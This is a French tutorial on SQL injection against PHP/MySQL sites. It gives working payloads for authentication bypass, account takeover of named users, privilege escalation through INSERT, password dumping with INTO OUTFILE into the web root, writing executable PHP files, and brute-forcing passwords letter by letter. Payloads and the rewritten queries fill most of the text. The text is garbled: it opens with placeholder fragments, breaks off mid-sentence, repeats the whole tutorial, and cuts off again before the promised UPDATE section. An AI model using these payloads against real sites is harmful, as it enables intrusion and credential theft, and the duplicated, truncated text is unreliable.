[target][...][target][...]P
Table des matières :
1- Introduction
2- SELECT
3- INSERT
4- UPDATE
5- Conclusion/Credit
Introduction :
Le texte qui suit va vous apprendre ce que je sais de l'injection SQL dans PHP, avec une base de donnée MySQL. Le code MySQL/PHP est inscrit en bleu et les valeurs données à des variables dans le but de faire de l'injection en rouge.
Tout ce qui est écrit ici a été mis en pratique par moi-même.
Finalement, il y a peu de cas d'injection SQL applicables avec le langage PHP, contrairement à l'ASP ou au JSP, à cause de sa configuration par défaut (on en reparlera plus tard). Mais ça arrive quand même, parfois à grande echelle, et de toute façon la théorie est assez intèressante.
Avec les nombreuses mises à jour de MySQL, il est evident qu'un tutoriel sur ce sujet ne sera jamais complet (ou du moins pas longtemps).
Rappelons que l'injection SQL consiste en changer le but premier d'une requête SQL, grâce à des variables modifiables par l'utilisateur.
Imaginons une page php permettant de rechercher un utilisateur enregistré sur le site.
La requête pourrait être quelque chose du style:
$req = "SELECT * FROM membres WHERE name LIKE '%$search%' ORDER BY name";
où $search est la variable modifiable par l'utilisateur, venant d'un formulaire post (ou autre chose) de ce type :
<form method="POST" action="<? echo $PHP_SELF; ?>">
<input type="text" name="search"><br>
<input type="submit" value="Search">
</form>
Un exemple d'injection SQL, pour afficher par exemple les membres non pas par ordre alphabetique (par 'name'), mais
bien par uid, donc par ordre d'inscription, serait de donner à $search la valeur : %' ORDER BY uid#. La requête executée serait alors transformée en :
SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name
Ce qui n'est pas la volonté originelle du script.
Je ne vais pas détailler cet exemple; ne precipitons pas trop les choses, chaque chose en son temps, tout vient à point à qui sait attendre, qui vivra verra (?) :)
Revenons au problème de la configuration PHP. Il y a dans le php.ini une ligne permettant de définir le "magic_quotes_gpc". Si cette option est sur ON, ce qui est le cas par défaut (donc pour 97% des sites php), les " et les ' vont êtres "slashés", c'est à dire qu'ils seront transformés en \" et \'.
Donc si c'était le cas dans notre premier exemple, la requête executée aurait été :
SELECT * FROM membres WHERE name LIKE '%%\' ORDER BY uid#%' ORDER BY name
Ce qui revient à chercher un nom qui contient la phrase : %' ORDER BY uid# dans la table `membres`, ce qui ne donne bien sûr aucun résultat.
C'est pourquoi dans ce tutoriel nous allons considerer que nous travaillons sur un site avec le magic_quotes_gpc sur OFF.
Les trois principaux types de requêtes executées dans des scripts PHP sont SELECT, INSERT et UPDATE.
SELECT extrait des renseignements d'une ou plusieurs tables, INSERT ajoute un enregistrement, et UPDATE modifie un enregistrement déjà créé.
SELECT :
Commencons par la plus classique, la requête SELECT, ce qui va aussi nous permettre de voir en premier le type d'injection
SQL le plus connu, le plus utilisé, et pour lequel il y a le plus à dire. SELECT est souvent utilisé dans les authentifications admins ou membres.
Imaginons donc un formulaire où on demande le mot de passe et le login. Les valeurs entrées sont renvoyées vers une requête MySQL :
$req = "SELECT uid FROM admins WHERE login='$login' AND password='$pass'";
On execute ensuite cette requête, s'il y a un résultat, c'est que le login et mot de passe existent bien et correspondent, et donc qu'on est administrateur.
A première vue, pour valider cette requête, il faut un login et un mot de passe valide.
Pour que l'expression login='$login' ou password='$pass' renvoie 'vrai', il faudrait que le login ou le mot de passe entré dans $login/$pass existe.
C'est le moment de parler des conditions qui renvoient toujours 'vrai'. On devrait plus les appeler des affirmations que des conditions dans ces cas là.
je vous ait concocté une petite liste de requêtes qui renverront toujours 'vrai' :
SELECT * FROM table WHERE 1=1
SELECT * FROM table WHERE 'uuu'='uuu'
SELECT * FROM table WHERE 1<>2
SELECT * FROM table WHERE 3>2
SELECT * FROM table WHERE 2<3
SELECT * FROM table WHERE 1
SELECT * FROM table WHERE 1+1
SELECT * FROM table WHERE 1--1
SELECT * FROM table WHERE ISNULL(NULL)
SELECT * FROM table WHERE ISNULL(COT(0))
SELECT * FROM table WHERE 1 IS NOT NULL
SELECT * FROM table WHERE NULL IS NULL
SELECT * FROM table WHERE 2 BETWEEN 1 AND 3
SELECT * FROM table WHERE 'b' BETWEEN 'a' AND 'c'
SELECT * FROM table WHERE 2 IN (0,1,2)
SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END
Vous l'avez compris, on affirme à chaque fois une réalité sûre : 1=1 (1 égal 1... hé oui), 1 est different de 2, 3 est plus grand que 2, b se trouve entre a et c, NULL est NULL, etc... Il en existe bien sûr bien d'autres.
Cette idée d'expression qui renvoie toujours 'vrai' est un des grands principes de l'injection SQL.
En effet, si on arrive à insérer un "toujours vrai" dans la requête, inutile d'avoir un login et un mot de passe.
Par exemple en donnant à $login et $pass la valeur : ' OR 'a'='a, on executera une requête SQL du type :
SELECT uid FROM admins WHERE login='' OR 'a'='a' AND password='' OR 'a'='a'
Ce qui renverra 'vrai', puisque 'a'='a' est toujours vrai !
Ici, c'est le premier enregistrement de la table qui sera choisie, l'uid extrait sera donc '1'.
Et la plupart du temps, le premier membre/admin enregistré est le propriétaire du site, ayant donc le plus de droits.
Si on veut pouvoir choisir le compte auquel accèder, il faut avoir une information, par exemple le pseudo.
Si on veut accéder au compte de John, il suffit de rentrer comme $login "John" et comme $pass une expression renvoyant toujours 'vrai', par exemple : ' OR 'b' BETWEEN 'a' AND 'c, ce qui executera la requête :
SELECT uid FROM admins WHERE login='John' AND password='' OR 'b' BETWEEN 'a' AND 'c'
Voyons maintenant un autre grand principe de l'injection sql, qui peut être utile dans l'exemple que nous avons ici, et dans d'autres à venir : l'utilisation de caractères "commentaires".
Il y a d'abord le caractère # qui commente tout ce qui le suit (ce n'est donc plus exécuté sur la BD). Par exemple :
SELECT * FROM table WHERE nom='Jack'# commentaire
exécutera la requête :
SELECT * FROM table WHERE nom='Jack'
L'autre possibilité est d'utiliser /* et */, qui transforme en commentaires ce qui se trouve entre les 2. Par exemple :
SELECT * FROM table WHERE /* commentaires */ addresse='25 rue des roubys'
exécutera la requête :
SELECT * FROM table WHERE addresse='25 rue des roubys'
L'utilisation de ces caractères dans l'injection SQL va ici principalement nous servir à faire ignorer des parties de requête à l'execution, de façon à sauter des conditions, un peu comme la méthode 'jump' en cracking.
Revenons à notre exemple, en utilisant cette fois cette nouvelle connaissance :)
Pour arriver dans le compte de John, il suffit alors de taper comme $login : John'#, ce qui donnera la requête :
SELECT uid FROM admins WHERE login='John'#' AND password=''
et la partie ' AND password='' sera ignorée.
L'injection peut servir à beaucoup de choses, de beaucoup de manières différentes. Imaginons par exemple qu'il y ait
plusieurs niveau d'administration (appelons le champ de la table 'admin' : 'admin_level'), que le premier membre enregistré n'est qu'un modérateur et qu'on veuille avoir un compte de niveau 1.
Une injection dans ce cas serait par exemple de donner à $login la valeur : ' OR admin_level=1#, ce qui donnerait
la requête suivante :
SELECT uid FROM admins WHERE login='' OR admin_level=1#' AND password=''
Une autre façon d'utiliser le SQL pour logger un utilisateur/admin en SQL, serait non pas de vérifier directement le login
ET le mot de passe dans une requête sql, mais bien d'extraire d'abord le mot de passe en fonction du login, avec une
ligne de code comme :
$req = "SELECT password FROM admins WHERE login='$login'";
Ensuite le script verifiera si le mot de passe entré dans le formulaire est bien celui extrait de la table admins.
Encore une fois, ce système n'est pas fiable, à cause de la fonction SQL : INTO OUTFILE (ou INTO DUMPFILE).
Exemple :
SELECT * FROM table INTO OUTFILE '/complete/path/to/file.txt'
enregistrera tout le contenu de la table 'table' dans le fichier /complete/path/to/file.txt.
Donc si pour notre exemple on entre comme valeur à $login : John' INTO DUMPFILE '/path/to/site/file.txt, la requête deviendra :
SELECT password FROM admins WHERE login='John' INTO DUMPFILE '/path/to/site/file.txt'
Et le mot de passe de John sera enregistré dans le fichier http://[target]/file.txt.
Pour avoir tous les mots de passe, il faudra utiliser une expression renvoyant toujours 'vrai', par exemple en donnant à $login la valeur suivante : ' OR 1=1 INTO OUTFILE '/path/to/site/file.txt.
Il y a cependant quelques conditions à l'utilisation de INTO OUTFILE (ou INTO DUMPFILE) :
- Il faut indiquer le chemin complet du fichier dans lequel enregistrer le résultat
- Le fichier ne peut pas déjà exister (ce qui empêchera de remplacer des fichiers comme /etc/passwd)
- On doit avoir les privilèges de la gestion de fichiers
Il y a aussi une différence entre OUTFILE et DUMPFILE, c'est que si la requête extrait plusieurs colonnes, elles seront clairement séparées en plusieurs colonnes dans le fichier avec OUTFILE, et avec DUMPFILE elles seront toutes dans une seule colonne.
Note : le fichier créé sera étidable par tous.
Cette option INTO OUTFILE peut encore aller un peu plus loin. Imaginons que nous avons un compte nommé 'frog' sur le site ayant ce type de requête. Nous pouvons donc changer nous même le mot de passe. Si on y mets un code PHP, puis qu'on tape dans le formulaire, comme $login : frog' INTO OUTFILE '/path/to/site/file.php .
Cela aurait comme effet de noter notre code PHP dans un fichier PHP, que l'on pourrais ensuite exécuter !
Je rappelle que, comme mes autres exemples, ce ne sont que des exemples, il y a donc bien d'autres possibilités (ici ça aurait pu être du code dans un message, dans le profile,...).
On pourrait aussi utiliser cette fonction pour saturer le disque dur, mais ça peut directement prendre plus de temps :)
L'injection SQL dans la requête de type SELECT peut aussi nous permettre de faire des recherches un peu spéciales, entre autre grâce au 'LIKE'.
Je vais reprendre, pour expliquer ce point, la requête de départ (à part un changement de table) :
$req = "SELECT uid FROM membres WHERE login='$login' AND password='$pass'";
mais je tiens à dire encore une fois que j'aurais pu prendre pleins d'autres exemples, entre autre la requête montrée dans l'intro (que vous devriez comprendre completement après cette partie, si ce n'était pas le cas avant).
D'abord un peu de théorie purement SQL (sans l'injection :)) :
SELECT * FROM table WHERE msg LIKE '%hop'
va extraire tout les éléments de la table 'table', où le champ 'msg' termine part 'hop'.
SELECT * FROM table WHERE msg LIKE 'hop%'
va extraire tout les éléments de la table 'table', où le champ 'msg' commence part 'hop'.
SELECT * FROM table WHERE msg LIKE '%hop%'
va extraire tout les éléments de la table 'table', où le champ 'msg' contient 'hop'.
SELECT * FROM table WHERE msg LIKE 'h%p'
va extraire tout les éléments de la table 'table', où le champ 'msg' commence par h et termine part p.
SELECT * FROM table WHERE msg LIKE 'h_p'
va extraire tout les éléments de la table 'table', où le champ 'msg' commence par h et termine part p, et contient
un seul caractère à l'endroit du _.
Passons maintenant à l'injection. Le LIKE peut nous permettre de 'brute forcer' des informations de la base de donnée.
Par exemple, si nous voulons savoir si la première lettre du mot de passe de l'utilisateur Bob, on pourrait (entre autre) donner comme valeur à $login : Bob' AND password LIKE 'a%'#, ce qui donnerai la requête :
SELECT uid FROM membres WHERE login='Bob' AND password LIKE 'a%'#' AND password=''
Si on rentre dans le compte de Bob, c'est que son mot de passe commence bien par a. Sinon, il nous suffit de tenter une autre première lettre... puis quand elle sera trouvée, de recommencer avec la deuxième, la troisième, la quatrième lettre etc...
L'injection SQL est parfois plus facile si elle est appliquée en deux temps, grâce à l'utilisation de ses connaissances SQL. Car la connaissance de l'injection SQL commence avec la connaissance du langage SQL !
Par exemple, un problème qui se pose si on veut effectuer ce brute force, c'est qu'on ne sait pas la longueur du mot de passe à cracker. On peut donc être arrivé au bout du mot de passe que le programme continuera à le chercher.
Pour ça une solution est de faire un premier test avec la fonction LENGTH().
Si on donne comme valeur à $login : Bob' AND LENGTH(password)=6#, on obtiendra la requête :
SELECT uid FROM membres WHERE login='Bob' AND LENGTH(password)=6#' AND password=''
Si le mot de passe de Bob est long de 6 caractères, on se retrouvera dans son compte.
Reprenons la requête de l'intro :
$req = "SELECT email, website FROM membres WHERE name LIKE '%$search%' ORDER BY name";
pour parler un peu du ORDER BY. Son utilité n'est pas extraordinaire, mais il faut quand même en parler.
Cette requête donc permet d'extraire les informations des utilisateurs dont le pseudo contient la valeur de $search.
J'ai legerement modifié la requête de début pour qu'on ne puisse pas utiliser très efficacement le INTO OUTFILE.
Dans l'intro j'ai évoqué l'idée de mettre comme valeur à $search : %' ORDER BY uid# ce qui donne la requête :
SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name
et nous affiche tout les membres classés par ordre d'inscription. Cela pourrait être utile pour repérer l'administrateur, qui est sûrement le premier inscrit.
Il est parfois possible de les classer par niveau de modération (s'il y a un champ type user_level), par mot de passe, en donnant à $search la valeur : %' ORDER BY password#, par longueur de mot de passe (%' ORDER BY LENGTH(password)#), etc...
C'est d'autant plus interessant pour faire des comparaisons, c'est-à-dire dans ce cas-ci, si on peut nous même nous inscrire en tant que membre, et connaissant notre mot de passe, on peut le comparer grâce à sa place aux mots de passe des autres.
Dans certains scripts, c'est plus simple, la requête est de type :
$req = "SELECT email, website FROM membres WHERE name LIKE '%$search%' ORDER BY $orderby";
(comme dans PHP-Nuke) il suffit alors de changer le $orderby.
Note : ORDER BY *** affiche le résultat classé par champ *** dans l'ordre croissant (0->9, a->z,...). Si on place le mot 'DESC' à la fin de la requête ([...] ORDER BY champ DESC), ça sera dans l'ordre décroissant.
INSERT :
Voyons maintenant les injections SQL liées à la requête INSERT, qui permet donc d'ajouter de nouveaux enregistrements à une table. L'utilisation utile d'injection SQL dans une requête INSERT est plus rare, mais existe néanmoins.
Si on prend l'exemple de l'inscription d'un membre, ce qui est le plus courrant, on peut imaginer d'abord une table créée de cette façon :
CREATE TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
Il y a donc dans cette table un id utilisateur, comme clef primaire qui s'auto incrémente, le login, mot de passe, nom, email et le niveau de l'utilisateur (1=user, 2=moderateur,3=admin).
Une requête pour créer un compte dans un service PHP, serait par exemple :
$query1 = "INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')";
Quatre variables sont modifiables ici, donc quatre possibilités d'injection.
Prenons pour l'exemple la plus simple, la variable $email. Si on lui donne comme valeur : ','3')# , la requête deviendra :
INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1')
et le nouveau membre créé aura le statut admin (la partie après # étant ignorée).
Si on avait voulu utiliser la variable $nom, il aurait fallut mettre ','','3')#, pour $pass ','','','3')# etc...
Ceci n'est pas la seule façon d'utiliser INSERT; il y en a deux autres.
Mais voyons-les plutôt si la table avait été créée de cette façon :
CREATE TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint default '1',
PRIMARY KEY (id)
)
Le changement est qu'userlevel a une valeur par défaut : 1 (utilisateur). Il est en effet logique que, lorsqu'on s'inscrive, on soit automatiquement utilisateur et non pas modérateur, les droits étant donnés par l'administrateur.
Il y a alors peu de chances de retomber sur une requête INSERT comme vue avant, où l'userlevel est indiqué.
Voici le genre de requête INSERT sur lequel on risque de tomber :
$query2 = "INSERT INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'";
Pour modifier son niveau d'utilisateur, il suffira d'entrer dans une des quatre variables la valeur suivante :
',userlevel='3 ce qui donnera comme requête, si par exemple on attribue cette valeur à $nom, deviendra :
INSERT INTO membres SET login='',password='',nom='',userlevel='3',email=''
Et le nouvel utilisateur sera créé avec des droits administrateurs.
Imaginons maintenant que l'id soit un chaîne de caractères créée aléatoirement. La création de la table se ferait alors de la sorte :
CREATE TABLE membres (
id varchar(15) NOT NULL default '',
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
La requête SQL pourrait alors être du type :
$query3 = "INSERT INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')";
Et l'injection SQL du même type que pour la première requête. On peut par exemple donner à la variable $email la valeur :
a@a.a','3')#, ce qui donnerait le droit administrateur à l'utilisateur créé, avec la requête :
INSERT INTO membres VALUES ('[ID]P
Table des matières :
1- Introduction
2- SELECT
3- INSERT
4- UPDATE
5- Conclusion/Credit
Introduction :
Le texte qui suit va vous apprendre ce que je sais de l'injection SQL dans PHP, avec une base de donnée MySQL. Le code MySQL/PHP est inscrit en bleu et les valeurs données à des variables dans le but de faire de l'injection en rouge.
Tout ce qui est écrit ici a été mis en pratique par moi-même.
Finalement, il y a peu de cas d'injection SQL applicables avec le langage PHP, contrairement à l'ASP ou au JSP, à cause de sa configuration par défaut (on en reparlera plus tard). Mais ça arrive quand même, parfois à grande echelle, et de toute façon la théorie est assez intèressante.
Avec les nombreuses mises à jour de MySQL, il est evident qu'un tutoriel sur ce sujet ne sera jamais complet (ou du moins pas longtemps).
Rappelons que l'injection SQL consiste en changer le but premier d'une requête SQL, grâce à des variables modifiables par l'utilisateur.
Imaginons une page php permettant de rechercher un utilisateur enregistré sur le site.
La requête pourrait être quelque chose du style:
$req = "SELECT * FROM membres WHERE name LIKE '%$search%' ORDER BY name";
où $search est la variable modifiable par l'utilisateur, venant d'un formulaire post (ou autre chose) de ce type :
<form method="POST" action="<? echo $PHP_SELF; ?>">
<input type="text" name="search"><br>
<input type="submit" value="Search">
</form>
Un exemple d'injection SQL, pour afficher par exemple les membres non pas par ordre alphabetique (par 'name'), mais
bien par uid, donc par ordre d'inscription, serait de donner à $search la valeur : %' ORDER BY uid#. La requête executée serait alors transformée en :
SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name
Ce qui n'est pas la volonté originelle du script.
Je ne vais pas détailler cet exemple; ne precipitons pas trop les choses, chaque chose en son temps, tout vient à point à qui sait attendre, qui vivra verra (?) :)
Revenons au problème de la configuration PHP. Il y a dans le php.ini une ligne permettant de définir le "magic_quotes_gpc". Si cette option est sur ON, ce qui est le cas par défaut (donc pour 97% des sites php), les " et les ' vont êtres "slashés", c'est à dire qu'ils seront transformés en \" et \'.
Donc si c'était le cas dans notre premier exemple, la requête executée aurait été :
SELECT * FROM membres WHERE name LIKE '%%\' ORDER BY uid#%' ORDER BY name
Ce qui revient à chercher un nom qui contient la phrase : %' ORDER BY uid# dans la table `membres`, ce qui ne donne bien sûr aucun résultat.
C'est pourquoi dans ce tutoriel nous allons considerer que nous travaillons sur un site avec le magic_quotes_gpc sur OFF.
Les trois principaux types de requêtes executées dans des scripts PHP sont SELECT, INSERT et UPDATE.
SELECT extrait des renseignements d'une ou plusieurs tables, INSERT ajoute un enregistrement, et UPDATE modifie un enregistrement déjà créé.
SELECT :
Commencons par la plus classique, la requête SELECT, ce qui va aussi nous permettre de voir en premier le type d'injection
SQL le plus connu, le plus utilisé, et pour lequel il y a le plus à dire. SELECT est souvent utilisé dans les authentifications admins ou membres.
Imaginons donc un formulaire où on demande le mot de passe et le login. Les valeurs entrées sont renvoyées vers une requête MySQL :
$req = "SELECT uid FROM admins WHERE login='$login' AND password='$pass'";
On execute ensuite cette requête, s'il y a un résultat, c'est que le login et mot de passe existent bien et correspondent, et donc qu'on est administrateur.
A première vue, pour valider cette requête, il faut un login et un mot de passe valide.
Pour que l'expression login='$login' ou password='$pass' renvoie 'vrai', il faudrait que le login ou le mot de passe entré dans $login/$pass existe.
C'est le moment de parler des conditions qui renvoient toujours 'vrai'. On devrait plus les appeler des affirmations que des conditions dans ces cas là.
je vous ait concocté une petite liste de requêtes qui renverront toujours 'vrai' :
SELECT * FROM table WHERE 1=1
SELECT * FROM table WHERE 'uuu'='uuu'
SELECT * FROM table WHERE 1<>2
SELECT * FROM table WHERE 3>2
SELECT * FROM table WHERE 2<3
SELECT * FROM table WHERE 1
SELECT * FROM table WHERE 1+1
SELECT * FROM table WHERE 1--1
SELECT * FROM table WHERE ISNULL(NULL)
SELECT * FROM table WHERE ISNULL(COT(0))
SELECT * FROM table WHERE 1 IS NOT NULL
SELECT * FROM table WHERE NULL IS NULL
SELECT * FROM table WHERE 2 BETWEEN 1 AND 3
SELECT * FROM table WHERE 'b' BETWEEN 'a' AND 'c'
SELECT * FROM table WHERE 2 IN (0,1,2)
SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END
Vous l'avez compris, on affirme à chaque fois une réalité sûre : 1=1 (1 égal 1... hé oui), 1 est different de 2, 3 est plus grand que 2, b se trouve entre a et c, NULL est NULL, etc... Il en existe bien sûr bien d'autres.
Cette idée d'expression qui renvoie toujours 'vrai' est un des grands principes de l'injection SQL.
En effet, si on arrive à insérer un "toujours vrai" dans la requête, inutile d'avoir un login et un mot de passe.
Par exemple en donnant à $login et $pass la valeur : ' OR 'a'='a, on executera une requête SQL du type :
SELECT uid FROM admins WHERE login='' OR 'a'='a' AND password='' OR 'a'='a'
Ce qui renverra 'vrai', puisque 'a'='a' est toujours vrai !
Ici, c'est le premier enregistrement de la table qui sera choisie, l'uid extrait sera donc '1'.
Et la plupart du temps, le premier membre/admin enregistré est le propriétaire du site, ayant donc le plus de droits.
Si on veut pouvoir choisir le compte auquel accèder, il faut avoir une information, par exemple le pseudo.
Si on veut accéder au compte de John, il suffit de rentrer comme $login "John" et comme $pass une expression renvoyant toujours 'vrai', par exemple : ' OR 'b' BETWEEN 'a' AND 'c, ce qui executera la requête :
SELECT uid FROM admins WHERE login='John' AND password='' OR 'b' BETWEEN 'a' AND 'c'
Voyons maintenant un autre grand principe de l'injection sql, qui peut être utile dans l'exemple que nous avons ici, et dans d'autres à venir : l'utilisation de caractères "commentaires".
Il y a d'abord le caractère # qui commente tout ce qui le suit (ce n'est donc plus exécuté sur la BD). Par exemple :
SELECT * FROM table WHERE nom='Jack'# commentaire
exécutera la requête :
SELECT * FROM table WHERE nom='Jack'
L'autre possibilité est d'utiliser /* et */, qui transforme en commentaires ce qui se trouve entre les 2. Par exemple :
SELECT * FROM table WHERE /* commentaires */ addresse='25 rue des roubys'
exécutera la requête :
SELECT * FROM table WHERE addresse='25 rue des roubys'
L'utilisation de ces caractères dans l'injection SQL va ici principalement nous servir à faire ignorer des parties de requête à l'execution, de façon à sauter des conditions, un peu comme la méthode 'jump' en cracking.
Revenons à notre exemple, en utilisant cette fois cette nouvelle connaissance :)
Pour arriver dans le compte de John, il suffit alors de taper comme $login : John'#, ce qui donnera la requête :
SELECT uid FROM admins WHERE login='John'#' AND password=''
et la partie ' AND password='' sera ignorée.
L'injection peut servir à beaucoup de choses, de beaucoup de manières différentes. Imaginons par exemple qu'il y ait
plusieurs niveau d'administration (appelons le champ de la table 'admin' : 'admin_level'), que le premier membre enregistré n'est qu'un modérateur et qu'on veuille avoir un compte de niveau 1.
Une injection dans ce cas serait par exemple de donner à $login la valeur : ' OR admin_level=1#, ce qui donnerait
la requête suivante :
SELECT uid FROM admins WHERE login='' OR admin_level=1#' AND password=''
Une autre façon d'utiliser le SQL pour logger un utilisateur/admin en SQL, serait non pas de vérifier directement le login
ET le mot de passe dans une requête sql, mais bien d'extraire d'abord le mot de passe en fonction du login, avec une
ligne de code comme :
$req = "SELECT password FROM admins WHERE login='$login'";
Ensuite le script verifiera si le mot de passe entré dans le formulaire est bien celui extrait de la table admins.
Encore une fois, ce système n'est pas fiable, à cause de la fonction SQL : INTO OUTFILE (ou INTO DUMPFILE).
Exemple :
SELECT * FROM table INTO OUTFILE '/complete/path/to/file.txt'
enregistrera tout le contenu de la table 'table' dans le fichier /complete/path/to/file.txt.
Donc si pour notre exemple on entre comme valeur à $login : John' INTO DUMPFILE '/path/to/site/file.txt, la requête deviendra :
SELECT password FROM admins WHERE login='John' INTO DUMPFILE '/path/to/site/file.txt'
Et le mot de passe de John sera enregistré dans le fichier http://[target]/file.txt.
Pour avoir tous les mots de passe, il faudra utiliser une expression renvoyant toujours 'vrai', par exemple en donnant à $login la valeur suivante : ' OR 1=1 INTO OUTFILE '/path/to/site/file.txt.
Il y a cependant quelques conditions à l'utilisation de INTO OUTFILE (ou INTO DUMPFILE) :
- Il faut indiquer le chemin complet du fichier dans lequel enregistrer le résultat
- Le fichier ne peut pas déjà exister (ce qui empêchera de remplacer des fichiers comme /etc/passwd)
- On doit avoir les privilèges de la gestion de fichiers
Il y a aussi une différence entre OUTFILE et DUMPFILE, c'est que si la requête extrait plusieurs colonnes, elles seront clairement séparées en plusieurs colonnes dans le fichier avec OUTFILE, et avec DUMPFILE elles seront toutes dans une seule colonne.
Note : le fichier créé sera étidable par tous.
Cette option INTO OUTFILE peut encore aller un peu plus loin. Imaginons que nous avons un compte nommé 'frog' sur le site ayant ce type de requête. Nous pouvons donc changer nous même le mot de passe. Si on y mets un code PHP, puis qu'on tape dans le formulaire, comme $login : frog' INTO OUTFILE '/path/to/site/file.php .
Cela aurait comme effet de noter notre code PHP dans un fichier PHP, que l'on pourrais ensuite exécuter !
Je rappelle que, comme mes autres exemples, ce ne sont que des exemples, il y a donc bien d'autres possibilités (ici ça aurait pu être du code dans un message, dans le profile,...).
On pourrait aussi utiliser cette fonction pour saturer le disque dur, mais ça peut directement prendre plus de temps :)
L'injection SQL dans la requête de type SELECT peut aussi nous permettre de faire des recherches un peu spéciales, entre autre grâce au 'LIKE'.
Je vais reprendre, pour expliquer ce point, la requête de départ (à part un changement de table) :
$req = "SELECT uid FROM membres WHERE login='$login' AND password='$pass'";
mais je tiens à dire encore une fois que j'aurais pu prendre pleins d'autres exemples, entre autre la requête montrée dans l'intro (que vous devriez comprendre completement après cette partie, si ce n'était pas le cas avant).
D'abord un peu de théorie purement SQL (sans l'injection :)) :
SELECT * FROM table WHERE msg LIKE '%hop'
va extraire tout les éléments de la table 'table', où le champ 'msg' termine part 'hop'.
SELECT * FROM table WHERE msg LIKE 'hop%'
va extraire tout les éléments de la table 'table', où le champ 'msg' commence part 'hop'.
SELECT * FROM table WHERE msg LIKE '%hop%'
va extraire tout les éléments de la table 'table', où le champ 'msg' contient 'hop'.
SELECT * FROM table WHERE msg LIKE 'h%p'
va extraire tout les éléments de la table 'table', où le champ 'msg' commence par h et termine part p.
SELECT * FROM table WHERE msg LIKE 'h_p'
va extraire tout les éléments de la table 'table', où le champ 'msg' commence par h et termine part p, et contient
un seul caractère à l'endroit du _.
Passons maintenant à l'injection. Le LIKE peut nous permettre de 'brute forcer' des informations de la base de donnée.
Par exemple, si nous voulons savoir si la première lettre du mot de passe de l'utilisateur Bob, on pourrait (entre autre) donner comme valeur à $login : Bob' AND password LIKE 'a%'#, ce qui donnerai la requête :
SELECT uid FROM membres WHERE login='Bob' AND password LIKE 'a%'#' AND password=''
Si on rentre dans le compte de Bob, c'est que son mot de passe commence bien par a. Sinon, il nous suffit de tenter une autre première lettre... puis quand elle sera trouvée, de recommencer avec la deuxième, la troisième, la quatrième lettre etc...
L'injection SQL est parfois plus facile si elle est appliquée en deux temps, grâce à l'utilisation de ses connaissances SQL. Car la connaissance de l'injection SQL commence avec la connaissance du langage SQL !
Par exemple, un problème qui se pose si on veut effectuer ce brute force, c'est qu'on ne sait pas la longueur du mot de passe à cracker. On peut donc être arrivé au bout du mot de passe que le programme continuera à le chercher.
Pour ça une solution est de faire un premier test avec la fonction LENGTH().
Si on donne comme valeur à $login : Bob' AND LENGTH(password)=6#, on obtiendra la requête :
SELECT uid FROM membres WHERE login='Bob' AND LENGTH(password)=6#' AND password=''
Si le mot de passe de Bob est long de 6 caractères, on se retrouvera dans son compte.
Reprenons la requête de l'intro :
$req = "SELECT email, website FROM membres WHERE name LIKE '%$search%' ORDER BY name";
pour parler un peu du ORDER BY. Son utilité n'est pas extraordinaire, mais il faut quand même en parler.
Cette requête donc permet d'extraire les informations des utilisateurs dont le pseudo contient la valeur de $search.
J'ai legerement modifié la requête de début pour qu'on ne puisse pas utiliser très efficacement le INTO OUTFILE.
Dans l'intro j'ai évoqué l'idée de mettre comme valeur à $search : %' ORDER BY uid# ce qui donne la requête :
SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name
et nous affiche tout les membres classés par ordre d'inscription. Cela pourrait être utile pour repérer l'administrateur, qui est sûrement le premier inscrit.
Il est parfois possible de les classer par niveau de modération (s'il y a un champ type user_level), par mot de passe, en donnant à $search la valeur : %' ORDER BY password#, par longueur de mot de passe (%' ORDER BY LENGTH(password)#), etc...
C'est d'autant plus interessant pour faire des comparaisons, c'est-à-dire dans ce cas-ci, si on peut nous même nous inscrire en tant que membre, et connaissant notre mot de passe, on peut le comparer grâce à sa place aux mots de passe des autres.
Dans certains scripts, c'est plus simple, la requête est de type :
$req = "SELECT email, website FROM membres WHERE name LIKE '%$search%' ORDER BY $orderby";
(comme dans PHP-Nuke) il suffit alors de changer le $orderby.
Note : ORDER BY *** affiche le résultat classé par champ *** dans l'ordre croissant (0->9, a->z,...). Si on place le mot 'DESC' à la fin de la requête ([...] ORDER BY champ DESC), ça sera dans l'ordre décroissant.
INSERT :
Voyons maintenant les injections SQL liées à la requête INSERT, qui permet donc d'ajouter de nouveaux enregistrements à une table. L'utilisation utile d'injection SQL dans une requête INSERT est plus rare, mais existe néanmoins.
Si on prend l'exemple de l'inscription d'un membre, ce qui est le plus courrant, on peut imaginer d'abord une table créée de cette façon :
CREATE TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
Il y a donc dans cette table un id utilisateur, comme clef primaire qui s'auto incrémente, le login, mot de passe, nom, email et le niveau de l'utilisateur (1=user, 2=moderateur,3=admin).
Une requête pour créer un compte dans un service PHP, serait par exemple :
$query1 = "INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')";
Quatre variables sont modifiables ici, donc quatre possibilités d'injection.
Prenons pour l'exemple la plus simple, la variable $email. Si on lui donne comme valeur : ','3')# , la requête deviendra :
INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1')
et le nouveau membre créé aura le statut admin (la partie après # étant ignorée).
Si on avait voulu utiliser la variable $nom, il aurait fallut mettre ','','3')#, pour $pass ','','','3')# etc...
Ceci n'est pas la seule façon d'utiliser INSERT; il y en a deux autres.
Mais voyons-les plutôt si la table avait été créée de cette façon :
CREATE TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint default '1',
